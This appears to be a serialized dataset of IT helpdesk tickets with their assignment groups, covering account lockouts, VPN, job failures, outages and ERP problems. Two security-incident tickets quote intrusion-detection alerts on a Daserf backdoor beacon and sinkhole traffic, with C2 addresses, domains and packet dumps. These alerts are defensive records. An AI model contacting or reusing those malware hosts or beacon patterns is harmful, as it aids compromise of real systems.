, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit symantec \ konferenzraum stÃ¤be \nozahtbr ubznqpsy, Description: probleme mit symantec \ konferenzraum stÃ¤be \nozahtbr ubznqpsy, is assigned to Assignment group: GRP\_24.Ticket with Short description: drucker defekt in der qs, Description: fehlermeldung 59.fo, is assigned to Assignment group: GRP\_24.Ticket with Short description: account locked in erp SID\_34, Description: account locked in erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn connection, Description: \_x000D\_
\_x000D\_
received from: xwertljy.zrmlhkyq@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
please help me to connect to vpn i am not able to.\_x000D\_
matheywter urgent.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: network outage:india , in-company- carrier:site is hard down since at 6:12 am et on 09/21., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_6:12 am et on 09/21\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_no\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: pasword and connection problem, Description: i don't reach pasword manager pages. it says security problem for this connection., is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for mvhcoqed konjdmwq using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: reset passwords for mvhcoqed konjdmwq using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: job Job\_1392 failed in job\_scheduler at: 09/21/2016 06:13:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1392 failed in job\_scheduler at: 09/21/2016 06:13:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: HostName\_809 : usa plant ups is down at 4 am et on 09/21., Description: HostName\_809 : usa plant ups is down at 4 am et on 09/21., is assigned to Assignment group: GRP\_8.Ticket with Short description: erp csd cockpit application: condition update not possible, Description: erp csd cockpit application: condition update not possible\_x000D\_
not possible to built up an price record (21.09.16 gt 11:21)\_x000D\_
quote 3116246099 line item 10, is assigned to Assignment group: GRP\_13.Ticket with Short description: ess password reset, Description: ess password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_239 : volume: /dev/ora\_data2 is over 85% space consumed. space available: 2.9 g, Description: HostName\_239 : volume: /dev/ora\_data2 is over 85% space consumed. space available: 2.9 g\_x000D\_
, is assigned to Assignment group: GRP\_1.Ticket with Short description: qlhmawgi sgwipoxn : roaghyunokepc locked, Description: qlhmawgi sgwipoxn : roaghyunokepc locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: my SID\_1 system is been locked, can you unlock it., Description: my SID\_1 system is been locked, can you unlock it.
my user id is- vvhstyap, is assigned to Assignment group: GRP\_2.Ticket with Short description: collaboration\_platform access not going through, Description: \_x000D\_
\_x000D\_
received from: byrljshv.bwvmophd@gmail.com\_x000D\_
\_x000D\_
to the concerned,\_x000D\_
\_x000D\_
i am unable to access to the collaboration\_platform. (\_x000D\_
please resolve it at the earliest.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_16.Ticket with Short description: aiuw8911994 india patching\_antivirus\_sw desktop server is offline, Description: this pc is offline since 19th sept, is assigned to Assignment group: GRP\_19.Ticket with Short description: order products online problem, Description: from: -ebusiness service
sent: wednesday, september 21, 2016 11:39 am
to: jfwvuzdn xackgvmd
cc: nwfodmhc exurcwkm
subject: radgthika: order products online problem
hello,
the issue is that your userid is locked in erp SID\_34 and in erp SID\_39.
you need to go to the password\_management\_tool password manager and first select the option "unlock accounts", after that select the option "change password"
once that is completed successfully, you should logon to distributor\_tool with that new password.
mit freundlichem gruÃŸ / kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: erpæ— æ³•ç™»å½•ï¼Œæç¤ºlogon balancing error 88 ., Description: gartryhuï¼š\_x000D\_
ä½ å¥½ï¼Œä»Žæ˜¨å¤©æ™šä¸Šå¼€å§‹ï¼Œæˆ‘çš„erpç™»å½•æŒç»­å‡ºçŽ°ä»¥ä¸‹é”™è¯¯ï¼Œè¯·å¸®å¿™çœ‹çœ‹ä»€ä¹ˆåŽŸå› ï¼\_x000D\_
åœ¨å®¶é‡Œvpnå’Œå…¬å¸ç›´æŽ¥ç™»å½•éƒ½æ˜¯è¿™æ ·ï¼\_x000D\_
å¤šè°¢äº†\_x000D\_
best , is assigned to Assignment group: GRP\_31.Ticket with Short description: security incidents - ( #in33932723 ) : possible daserf trojan (apt activity) - leengineering\_tool-201-zhm, Description: source ip: 10.44.63.52\_x000D\_
source hostname: leengineering\_tool-201-zhm\_x000D\_
destination ip: 218.84.244.31\_x000D\_
system name :\_x000D\_
user name:\_x000D\_
location :\_x000D\_
sep , sms status :\_x000D\_
field sales user ( yes / no) : \_x000D\_
dsw event log:see below\_x000D\_
--------------------------------------------------------------------------------------------------------------------------------------\_x000D\_
=========================\_x000D\_
event data\_x000D\_
=========================\_x000D\_
related events: \_x000D\_
event id: 94845494\_x000D\_
event summary: 52798 vid75839 daserf backdoor phoning home (apt activity)\_x000D\_
occurrence count: 1\_x000D\_
event count: 1\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 10.44.63.52\_x000D\_
source hostname: leengineering\_tool-201-zhm\_x000D\_
source port: 3475\_x000D\_
destination ip: 218.84.244.31\_x000D\_
destination port: 80\_x000D\_
destination ip geolocation: urumqi, chn\_x000D\_
connection directionality: outgoing\_x000D\_
protocol: tcp\_x000D\_
http method: get\_x000D\_
user agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; sv1)\_x000D\_
host: es.f.360.cn\_x000D\_
full url path: /stats.php\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 80.68.49.4169\_x000D\_
device name: isensor05.company.com\_x000D\_
log time: 2016-09-20 at 23:58:57 utc\_x000D\_
action: not blocked\_x000D\_
vendor eventid: 591748\_x000D\_
cvss score: -1 \_x000D\_
vendor priority: 1\_x000D\_
vendor version: 7\_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 2174626\_x000D\_
inspector rule id: 277082\_x000D\_
inspector event id: 891373519\_x000D\_
ontology id: 200020003203759120\_x000D\_
event type id: 200020003203703260\_x000D\_
agent id: 102835\_x000D\_
\_x000D\_
event detail:\_x000D\_
[\*\*] [1:21163809:2] 52798 vid75839 daserf backdoor phoning home (apt activity) [\*\*]\_x000D\_
[classification: none] [priority: 1] [action: accept\_passive] [impact\_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]\_x000D\_
[sensor id: 606873][event id: 591748][time: 2585526048.971531]\_x000D\_
[src ip: 10.44.63.52][dst ip: 218.84.244.31][sport/itype: 3475][dport/icode: 80][proto: 6]\_x000D\_
09/20/2016-23:58:57.97153sartlgeo lhqksbdx0.44.63.52:3475 -> 218.84.244.31:80\_x000D\_
tcp ttl:61 tos:0x0 id:44699 iplen:20 dgmlen:180 df\_x000D\_
\*\*\*ap\*\*\* seq: 0x85f0af80 ack: 0xf50449c6 win: 0xb5c9 tcplen: 20\_x000D\_
==pcap 1==\_x000D\_
\_x000D\_
\_x000D\_
[ex http\_uri 9: /stats.php]\_x000D\_
\_x000D\_
[ex http\_hostname 10: es.f.360.cn]\_x000D\_
\_x000D\_
[o:security]\_x000D\_
\_x000D\_
ascii packet(s):\_x000D\_
==pcap 1 ascii s==\_x000D\_
....a..w............e.....@.=.v..,?4.t.....p......i.p.......get./stats.php.http/1.1..user-agent:.mozilla/4.0.(compatible;.msie.6.0;.windows.nt.5.1;.sv1)..host:.es.f.360.cn..cache-control:.no-cache....\_x000D\_
==pcap 1 ascii e==\_x000D\_
\_x000D\_
hex packet(s):\_x000D\_
==pcap 1 hex s==\_x000D\_
000000 0c00 0000 41cd e157 0bd3 0e00 b400 0000 ....a..w........\_x000D\_
000010 b400 0000 4500 00b4 ae9b 4000 3d06 76d4 ....e.....@.=.v.\_x000D\_
000020 0a2c 3f34 da54 f41f 0d93 0050 85f0 af80 .,?4.t.....p....\_x000D\_
000030 f504 49c6 5018 b5c9 f190 0000 4745 5420 ..i.p.......get.\_x000D\_
000040 2f73 7461 7473 2e70 6870 2048 5454 502f /stats.php.http/\_x000D\_
000050 312e 310d 0a55 7365 722d 4167 656e 743a 1.1..user-agent:\_x000D\_
000060 204d 6f7a 696c 6c61 2f34 2e30 2028 636f .mozilla/4.0.(co\_x000D\_
000070 6d70 6174 6962 6c65 3b20 4d53 4945 2036 mpatible;.msie.6\_x000D\_
000080 2e30 3b20 5769 6e64 6f77 7320 4e54 2035 .0;.windows.nt.5\_x000D\_
000090 2e31 3b20 5356 3129 0d0a 486f 7374 3a20 .1;.sv1)..host:.\_x000D\_
0000a0 6573 2e66 2e33 3630 2e63 6e0d 0a43 6163 es.f.360.cn..cac\_x000D\_
0000b0 6865 2d43 6f6e 7472 6f6c 3a20 6e6f 2d63 he-control:.no-c\_x000D\_
0000c0 6163 6865 0d0a 0d0a ache....\_x000D\_
==pcap 1 hex e==, is assigned to Assignment group: GRP\_48.Ticket with Short description: security incidents - ( #in33924718 ) : possible malware infection - traffic from sinkhole domain to android-13849fa3, Description: source ip :195.22.28.222\_x000D\_
destination ip: 12.90.42.78296\_x000D\_
destination hostname: android-13849fa3e9c2e1e3\_x000D\_
destination port: 50060\_x000D\_
user name:\_x000D\_
location :\_x000D\_
sep , sms status :\_x000D\_
field sales user ( yes / no) : \_x000D\_
dsw event log:see below\_x000D\_
----------------------------------------------------------------------------------------------------\_x000D\_
=========================\_x000D\_
event data\_x000D\_
=========================\_x000D\_
related events: \_x000D\_
event id: 84313125\_x000D\_
event summary: 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset\_x000D\_
occurrence count: 2\_x000D\_
event count: 1\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 195.22.28.222\_x000D\_
source port: 80\_x000D\_
source ip geolocation: lisbon, prt\_x000D\_
destination ip: 12.90.42.78296\_x000D\_
destination hostname: android-13849fa3e9c2e1e3\_x000D\_
destination port: 50060\_x000D\_
destination mac address: 84:38:38:49:8e:8c\_x000D\_
connection directionality: incoming\_x000D\_
protocol: tcp\_x000D\_
http status code: 302\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 10.16.4.16\_x000D\_
device name: isensor04.company.com\_x000D\_
log time: 2016-09-20 at 14:52:40 utc\_x000D\_
action: not blocked\_x000D\_
vendor eventid: 658837\_x000D\_
cvss score: -1 \_x000D\_
vendor priority: 2\_x000D\_
vendor version: 7\_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 699417\_x000D\_
inspector event id: 637894958\_x000D\_
ontology id: 200020003203755736\_x000D\_
event type id: 200020003203582148\_x000D\_
agent id: 102823\_x000D\_
\_x000D\_
event detail:\_x000D\_
[\*\*] [1:21163262:2] 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset [\*\*]\_x000D\_
[classification: none] [priority: 2] [action: accept] [impact\_flag: 0] [impact: 0] [blocked: 0] [vlan: 0] [mpls label: 0] [pad2: 1]\_x000D\_
[sensor id: 602983][event id: 658837][time: 2585494271.714897]\_x000D\_
[src ip: 195.22.28.222][dst ip: 12.90.42.78296][sport/itype: 80][dport/icode: 50060][proto: 6]\_x000D\_
09/20/2016-14:52:40.714897 195.22.28.222:80 -> 12.90.42.78296:50060\_x000D\_
tcp ttl:55 tos:0x0 id:21367 iplen:20 dgmlen:395 df\_x000D\_
\*\*\*ap\*\*\* seq: 0x6160cb68 ack: 0x767501ef win: 0x35 tcplen: 32\_x000D\_
tcp options (3) => nop nop ts: 4874825104 23401168 \_x000D\_
==pcap 1==\_x000D\_
\_x000D\_
[o:security]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 20 07:09:48 60.43.89.120 dhcpd[31183]: dhcpack on 12.90.42.78296 to 84:38:38:49:8e:8c (android-13849fa3e9c2e1e3) via eth2 relay 10.16.16.2 lease-duration 604800 (renew)\_x000D\_
\_x000D\_
ascii packet(s):\_x000D\_
==pcap 1 ascii s==\_x000D\_
....8m.w............e...sw@.7..-.........p..a`.hvu.....5.........u.-....http/1.1.302.moved.temporarily..server:.nginx..date:.tue,.20.sep.2016.14:52:40.gmt..content-type:.text/html..connection:.close..set-cookie:.anbtr=26fd9b636b17e81f718dba282f5d46eb;.domain=.allinvest.us..location:.\_x000D\_
==pcap 1 ascii e==\_x000D\_
\_x000D\_
hex packet(s):\_x000D\_
==pcap 1 hex s==\_x000D\_
000000 0c00 0000 384d e157 91e8 0a00 8b01 0000 ....8m.w........\_x000D\_
000010 8b01 0000 4500 018b 5377 4000 3706 f42d ....e...sw@.7..-\_x000D\_
000020 c316 1cde 0a10 10c4 0050 c38c 6160 cb68 .........p..a`.h\_x000D\_
000030 7675 01ef 8018 0035 fcf2 0000 0101 080a vu.....5........\_x000D\_
000040 e055 b82d 00bd 0ea9 4854 5450 2f31 2e31 .u.-....http/1.1\_x000D\_
000050 2033 3032 204d 6f76 6564 2054 656d 706f .302.moved.tempo\_x000D\_
000060 7261 7269 6c79 0d0a 5365 7276 6572 3a20 rarily..server:.\_x000D\_
000070 6e67 696e 780d 0a44 6174 653a 2054 7565 nginx..date:.tue\_x000D\_
000080 2c20 3230 2053 6570 2032 3031 3620 3134 ,.20.sep.2016.14\_x000D\_
000090 3a35 323a 3430 2047 4d54 0d0a 436f 6e74 :52:40.gmt..cont\_x000D\_
0000a0 656e 742d 5479 7065 3a20 7465 7874 2f68 ent-type:.text/h\_x000D\_
0000b0 746d 6c0d 0a43 6f6e 6e65 6374 696f 6e3a tml..connection:\_x000D\_
0000c0 2063 6c6f 7365 0d0a 5365 742d 436f 6f6b .close..set-cook\_x000D\_
0000d0 6965 3a20 616e 6274 723d 3236 6664 3962 ie:.anbtr=26fd9b\_x000D\_
0000e0 3633 3662 3137 6538 3166 3731 3864 6261 636b17e81f718dba\_x000D\_
0000f0 3238 3266 3564 3436 6562 3b20 646f 6SID\_26 282f5d46eb;.doma\_x000D\_
000100 696e 3d2e 616c 6c69 6e76 6573 742e 7573 in=.allinvest.us\_x000D\_
000110 0d0a 4c6f 6361 7469 6f6e 3a20 6874 7470 ..location:.http\_x000D\_
000120 3a2f 2f78 7373 6f2e 6865 6c70 2e61 6c6c ://xsso.help.all\_x000D\_
000130 696e 7665 7374 2e75 732f 3236 6664 3962 invest.us/26fd9b\_x000D\_
000140 3633 3662 3137 6538 3166 3731 3864 6261 636b17e81f718dba\_x000D\_
000150 3238 3266 3564 3436 6562 0d0a 0d0a 476f 282f5d46eb....go\_x000D\_
000160 2068 7474 703a 2f2f 7873 736f 2e68 656c .\_x000D\_
000170 702e 616c 6c69 6e76 6573 742e 7573 2f32 p.allinvest.us/2\_x000D\_
000180 3666 6439 6236 3336 6231 3765 3831 6637 6fd9b636b17e81f7\_x000D\_
000190 3138 6462 6132 3832 6635 6434 3665 62 18dba282f5d46eb\_x000D\_
==pcap 1 hex e==, is assigned to Assignment group: GRP\_2.Ticket with Short description: folder access request, Description: (\\HostName\_768) (t:\\finance\global bank bals fy17\_x000D\_
\_x000D\_
group : lhqfinglbalfy17fc\_x000D\_
owner : pjxclyhs fcniljtu\_x000D\_
access : full control, is assigned to Assignment group: GRP\_34.Ticket with Short description: job Job\_495 failed in job\_scheduler at: 09/21/2016 03:25:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_495 failed in job\_scheduler at: 09/21/2016 03:25:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: do not have permission to ess portal. at , Description: please reach out to me for more information if needed., is assigned to Assignment group: GRP\_2.Ticket with Short description: mm#3342477 | mm#5270584 | mm#5270486 | mm#4166346, Description: hi\_x000D\_
\_x000D\_
please see below pricing team comments and advise on above mentioned materials ;-\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: batch number is not appearing in pdf output of engineering\_tool, Description: dear bhughjdra,
this is a good enquiry. agree batch number view is important too.
best , is assigned to Assignment group: GRP\_25.Ticket with Short description: job Job\_481 failed in job\_scheduler at: 09/21/2016 03:13:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_481 failed in job\_scheduler at: 09/21/2016 03:13:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: e-time ç³»ç»Ÿjavaæ›´æ–°-è½¬è´ºæ­£å¹³, Description:
received from: tuqrvowp.fxmzkvqo@gmail.com
dear heï¼Œ
é’±å”é‘«å’Œåˆ˜æ™“å†¬e-timeç³»ç»Ÿçš„javeéœ€è¦æ›´æ–°ã€‚
è°¢è°¢
tuqrvowp fxmzkvqo é’±å”é‘«
human resources
tuqrvowp.fxmzkvqo@gmail.com<mailto:tuqrvowp.fxmzkvqo@gmail.com>
ä¸Šæµ·å‡é˜³è¶…å¾®ç²‰æœ‰é™å…¬å¸
ä¸Šæµ·å¸‚å¥‰è´¤åŒºé™ˆæ¡¥è·¯1508å·
é‚®ç¼–ï¼š201400
, is assigned to Assignment group: GRP\_30.Ticket with Short description: distributor\_tool account identification problem, Description: \_x000D\_
\_x000D\_
received from: pgeknaxy.usokqprd@gmail.com\_x000D\_
\_x000D\_
hello team,\_x000D\_
\_x000D\_
as you can see at the below sreenshot, my distributor\_tool account did not identified for sales organisation. so i can not do anything at the distributor\_tool.\_x000D\_
\_x000D\_
could you please help me for this issue?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: maschinenstillstand ma 7 kesm , fernwartung notwendig; z. hd. herr himghtmelreich, Description: maschinenstillstand ma 7 kesm , fernwartung notwendig
tel. herr teichgrÃ¤ber , is assigned to Assignment group: GRP\_33.Ticket with Short description: job Job\_1390 failed in job\_scheduler at: 09/21/2016 02:54:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1390 failed in job\_scheduler at: 09/21/2016 02:54:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_1332 failed in job\_scheduler at: 09/21/2016 02:51:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1332 failed in job\_scheduler at: 09/21/2016 02:51:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: re: need a little help--please, Description:
received from: bcefayom.lzhwcgvb@gmail.com
shathyra, lunjuws
zd13 is the delivery output type which was developed for baker huges when usa went live on erp..
delivery note output type "zdus" will be added automatically as soon as the delivery note is created if there is no specific customer specific output type maintained.
in this scenario since we have already a customer specific output "zd13" maintained in output config, "zdus" will be automatically replaced with "zd13" & it will print immediately in "hx08"printer. (printer hx08 has been defined as default printer for sales org 1101 and customer 81917193 combination).
[cid:image003.png@01SID\_353fb.6857f6c0]
the complexity is that we are shipping to customer "81917193" from both usa and usa.
can you please confirm if we are using z\_chk to print the delivery note usa.
lunjuws: we need your help to check with usa team if they are using z\_chk for printing delivery note..
based on the above information we shall check on the possibilities and let you know..
chandruhdty
[ a.n ]
senior analyst - global it
---------------------------------------------------------
bcefayom.lzhwcgvb@gmail.com<mailto:bcefayom.lzhwcgvb@gmail.com>
please don't print this email unless you really need to - this will preserve trees on planet earth.
from: damuphws arkulcoi
sent: 20 september 2016 04:35
to: smxoklny hbecskgl
subject: need a little help--please
sorry, i never email you to just say hey-how's it going...but you know how it's going-i'm sure..... :)
my dilemma is-since we have started shipping to bakyhrer huhuyghes-our delivery notes are still printing to usa. who do i need to contact about this? if it is the help desk-i'm not sure what/how to ask for it. they aren't as easy to explain stuff to as you are... we are wanting the transaction "zdus" to be added to the delivery output screen, instead of zd13. usa used zd13 we were using zd12 but zdus is what we really need to be using.
if i have talked myself in circles let me know and i'll try to explain it a little better.
this is an example of what we want
[cid:image001.png@01SID\_353fa.f482f2e0]
this is what we get right now after we go in and add the zd12 to get a delivery note to print here---
[cid:image002.png@01SID\_353fa.f482f2e0]
, is assigned to Assignment group: GRP\_18.Ticket with Short description: job Job\_1378 failed in job\_scheduler at: 09/21/2016 02:43:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1378 failed in job\_scheduler at: 09/21/2016 02:43:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: lhqSID\_1856-new, Description:
received from: ctvaejbo.mjcerqwo@gmail.com
hi,
i'm trying to install a license server on this new server.
i was just logged onto it, but it now appears to be unavailable?
pollaurid d phlpiops
manager engineering technology
, is assigned to Assignment group: GRP\_12.Ticket with Short description: leantracker anmeldung funktioniert nicht, Description: lean tracker Ã¶ffnet nicht. fehlermeldung erscheint., is assigned to Assignment group: GRP\_0.Ticket with Short description: minitab to be installed, Description: name:wnorzsyv mdflqwxg
language:
browser:microsoft internet explorer
email:wnorzsyv.mdflqwxg@gmail.com
customer number:
telephone:
summary:minitab to be installed, is assigned to Assignment group: GRP\_19.Ticket with Short description: erp access issue: please reset SID\_34 password for pandepv, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?):\_x000D\_
\_x000D\_
enter user id of user having the issue:\_x000D\_
\_x000D\_
transaction code(s) the user needs or was working with:\_x000D\_
\_x000D\_
describe the issue:\_x000D\_
\_x000D\_
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.\_x000D\_
\_x000D\_
provide access the same as this other user:, is assigned to Assignment group: GRP\_2.Ticket with Short description: windows account locked, Description: windows account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account locked, Description: windows account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: batch number is not appearing in pdf output of engineering\_tool, Description: \_x000D\_
\_x000D\_
received from: xqkydoat.bveiyclr@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
refer below snapshot of pdf output of engineering\_tool.\_x000D\_
batch number is not appearing in pdf output.\_x000D\_
[cid:image008.jpg@01SID\_35366.4a922790]\_x000D\_
\_x000D\_
why batch number is important?\_x000D\_
in case of variation in tool life from batch to batch, customer raises the complaint. we send ccif with engineering\_tool. in engineering\_tool software we enter batch number but when i download pdf, it doesn't show batch number. without batch number, analysis cannot be done. that's why it's very important to capture batch number in engineering\_tool pdf output.\_x000D\_
\_x000D\_
for your necessary action.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_53.Ticket with Short description: network outage: poncacity -schlumhdyhter-dmvpn-rtr is down since 11:56 pm et on 09/20., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_ 11:56 pm et on 09/20.\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: wlan guest access for cantine germany, Description: from: xvwchsdg pladjmxt
sent: tuesday, september 20, 2016 5:12 pm
to: dwfiykeo argtxmvcumar3
cc: thomklmas woehyl
subject: wlan guest access for cantine germany
hello manjgtiry,
we are having issues connecting to guest wlan with an 3rd party adapter which has worked before (
built in wifi adapter from their notebook is working just fine. both of the adapters are able to find the ssid.
is it possible that the mac-address of the edimax is in some kind of quarantine? (74-da-38-3b-f1-58)
best , is assigned to Assignment group: GRP\_4.Ticket with Short description: job Job\_1374 failed in job\_scheduler at: 09/21/2016 00:32:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1374 failed in job\_scheduler at: 09/21/2016 00:32:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: request to reset microsoft online services password for xgrhplvk.coejktzn@gmail.com, Description: from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com]
sent: wednesday, september 21, 2016 8:24 am
to: nwfodmhc exurcwkm
cc: tiyhum kuyiomar
subject: request to reset microsoft online services password for xgrhplvk.coejktzn@gmail.com
importance: high
request to reset user's password
the following user in your organization has requested a password reset be performed for their account:
â€¢ xgrhplvk.coejktzn@gmail.com
â€¢ first name: babhjbu
â€¢ last name: gdgy
consider contacting this user to validate this request is authentic before continuing.
if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user.
want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks.
sincerely,
company inc.
this message was sent from an unmonitored email address. please do not reply to this message.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account locked, Description: erp SID\_34 account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to access -inq industrial (-inq.industrial@company.com), Description: \_x000D\_
\_x000D\_
received from: muqdlobv.qflsdahg@gmail.com\_x000D\_
\_x000D\_
team,\_x000D\_
\_x000D\_
i am not able access to -inq industrial (-inq.industrial@company.com<mailto:-inq.industrial@company.com>) for which we receive enquiries about special products.\_x000D\_
from past one week above mentioned shared email box is not functioning for me, whereas other members are able to access the same.\_x000D\_
so i kindly request you to take it upon high priority and confirm back.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: expense report - receipts issue, Description: one of my employees sent his expenses to me today and there were notes all over it that there were no receipts. he has the receipts for everything. how should this be handled?, is assigned to Assignment group: GRP\_10.Ticket with Short description: two billings were not posted to gl 9169221558 6th sept & 9169338118 18th sept, Description: name:jashtyckie
language:
browser:microsoft internet explorer
email:jacyjddwline.yotywdsef@company.com
customer number:
telephone:
summary:two billings were not posted to gl 9169221558 6th sept & 9169338118 18th sept, is assigned to Assignment group: GRP\_10.Ticket with Short description: vpn will not allow access to erp, Description: name:pfzxecbo ptygkvzl\_x000D\_
language:\_x000D\_
browser:microsoft internet explorer\_x000D\_
email:pfzxecbo.ptygkvzl@gmail.com\_x000D\_
customer number:\_x000D\_
telephone:\_x000D\_
summary:vpn will not allow access to erp. this is the 3rd occurrence of the same issue., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2555 failed in job\_scheduler at: 09/20/2016 22:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2555 failed in job\_scheduler at: 09/20/2016 22:00:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_51filesys failed in job\_scheduler at: 09/20/2016 20:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
